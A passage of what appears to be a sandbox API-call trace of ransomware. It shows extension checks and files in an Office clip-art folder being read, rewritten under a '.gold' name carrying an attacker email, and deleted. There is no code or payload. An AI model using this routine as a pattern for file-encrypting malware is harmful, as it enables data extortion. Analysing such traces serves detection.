DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString=".doc") returned 4 [0094.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString=".docx") returned 5 [0094.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.888] lstrlenW (lpString=".pdf") returned 4 [0094.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString=".xls") returned 4 [0094.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.888] lstrlenW (lpString=".xlsx") returned 5 [0094.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.888] lstrlenW (lpString=".ppt") returned 4 [0094.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString=".zip") returned 4 [0094.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.888] lstrlenW (lpString=".rar") returned 4 [0094.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString=".bz2") returned 4 [0094.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString=".7z") returned 3 [0094.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString=".dbf") returned 4 [0094.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString=".1cd") returned 4 [0094.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString=".jpg") returned 4 [0094.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.889] lstrlenW (lpString=".doc") returned 4 [0094.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString=".docx") returned 5 [0094.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.889] lstrlenW (lpString=".pdf") returned 4 [0094.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString=".xls") returned 4 [0094.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.889] lstrlenW (lpString=".xlsx") returned 5 [0094.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.889] lstrlenW (lpString=".ppt") returned 4 [0094.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.889] lstrlenW (lpString=".zip") returned 4 [0094.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.889] lstrlenW (lpString=".rar") returned 4 [0094.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString=".bz2") returned 4 [0094.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString=".7z") returned 3 [0094.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.889] lstrlenW (lpString=".dbf") returned 4 [0094.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.889] lstrlenW (lpString=".1cd") returned 4 [0094.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0094.889] lstrlenW (lpString=".jpg") returned 4 [0094.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.889] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.889] lstrlenW (lpString="DD01629_.WMF") returned 12 [0094.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.908] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=580) returned 1 [0094.908] CloseHandle (hObject=0x3b8) returned 1 [0094.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0094.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.913] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.913] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.913] GetLastError () returned 0x0 [0094.914] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x244, lpOverlapped=0x0) returned 1 [0094.914] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x250, lpOverlapped=0x0) returned 1 [0094.915] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.915] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.915] SetEndOfFile (hFile=0x3b4) returned 1 [0094.915] CloseHandle (hObject=0x3b4) returned 1 [0094.915] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.915] SetEndOfFile (hFile=0x3b8) returned 1 [0094.917] CloseHandle (hObject=0x3b8) returned 1 [0094.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".doc") returned 4 [0094.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString=".docx") returned 5 [0094.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.918] lstrlenW (lpString=".pdf") returned 4 [0094.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString=".xls") returned 4 [0094.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.918] lstrlenW (lpString=".xlsx") returned 5 [0094.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.918] lstrlenW (lpString=".ppt") returned 4 [0094.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".zip") returned 4 [0094.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.918] lstrlenW (lpString=".rar") returned 4 [0094.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString=".bz2") returned 4 [0094.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString=".7z") returned 3 [0094.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".dbf") returned 4 [0094.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".1cd") returned 4 [0094.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".jpg") returned 4 [0094.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".doc") returned 4 [0094.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString=".docx") returned 5 [0094.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.918] lstrlenW (lpString=".pdf") returned 4 [0094.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString=".xls") returned 4 [0094.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.918] lstrlenW (lpString=".xlsx") returned 5 [0094.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.918] lstrlenW (lpString=".ppt") returned 4 [0094.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.918] lstrlenW (lpString=".zip") returned 4 [0094.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.919] lstrlenW (lpString=".rar") returned 4 [0094.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.919] lstrlenW (lpString=".bz2") returned 4 [0094.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.919] lstrlenW (lpString=".7z") returned 3 [0094.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.919] lstrlenW (lpString=".dbf") returned 4 [0094.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.919] lstrlenW (lpString=".1cd") returned 4 [0094.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0094.919] lstrlenW (lpString=".jpg") returned 4 [0094.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.919] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.919] lstrlenW (lpString="DD01631_.WMF") returned 12 [0094.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.919] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=552) returned 1 [0094.919] CloseHandle (hObject=0x3b8) returned 1 [0094.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0094.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.920] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.920] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.964] GetLastError () returned 0x0 [0094.964] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x228, lpOverlapped=0x0) returned 1 [0094.965] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x230, lpOverlapped=0x0) returned 1 [0094.965] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0094.966] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.966] SetEndOfFile (hFile=0x3b4) returned 1 [0094.966] CloseHandle (hObject=0x3b4) returned 1 [0094.966] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.966] SetEndOfFile (hFile=0x3b8) returned 1 [0094.968] CloseHandle (hObject=0x3b8) returned 1 [0094.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0094.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.994] lstrlenW (lpString=".doc") returned 4 [0094.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".docx") returned 5 [0094.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.995] lstrlenW (lpString=".pdf") returned 4 [0094.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".xls") returned 4 [0094.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.995] lstrlenW (lpString=".xlsx") returned 5 [0094.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.995] lstrlenW (lpString=".ppt") returned 4 [0094.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString=".zip") returned 4 [0094.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.995] lstrlenW (lpString=".rar") returned 4 [0094.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".bz2") returned 4 [0094.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".7z") returned 3 [0094.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString=".dbf") returned 4 [0094.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString=".1cd") returned 4 [0094.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString=".jpg") returned 4 [0094.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString=".doc") returned 4 [0094.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".docx") returned 5 [0094.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.995] lstrlenW (lpString=".pdf") returned 4 [0094.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".xls") returned 4 [0094.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.995] lstrlenW (lpString=".xlsx") returned 5 [0094.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.995] lstrlenW (lpString=".ppt") returned 4 [0094.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.995] lstrlenW (lpString=".zip") returned 4 [0094.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.995] lstrlenW (lpString=".rar") returned 4 [0094.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".bz2") returned 4 [0094.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.995] lstrlenW (lpString=".7z") returned 3 [0094.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.996] lstrlenW (lpString=".dbf") returned 4 [0094.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.996] lstrlenW (lpString=".1cd") returned 4 [0094.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0094.996] lstrlenW (lpString=".jpg") returned 4 [0094.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.996] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.996] lstrlenW (lpString="ED00184_.WMF") returned 12 [0094.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.996] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6958) returned 1 [0094.996] CloseHandle (hObject=0x39c) returned 1 [0094.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0094.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.997] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.997] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0094.997] GetLastError () returned 0x0 [0094.997] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0095.004] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0095.005] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.005] WriteFile (in: hFile=0x19c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.005] SetEndOfFile (hFile=0x19c) returned 1 [0095.126] CloseHandle (hObject=0x19c) returned 1 [0095.126] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.126] SetEndOfFile (hFile=0x39c) returned 1 [0095.129] CloseHandle (hObject=0x39c) returned 1 [0095.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0095.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.195] lstrlenW (lpString=".doc") returned 4 [0095.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString=".docx") returned 5 [0095.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.195] lstrlenW (lpString=".pdf") returned 4 [0095.195] lstrcmpiW 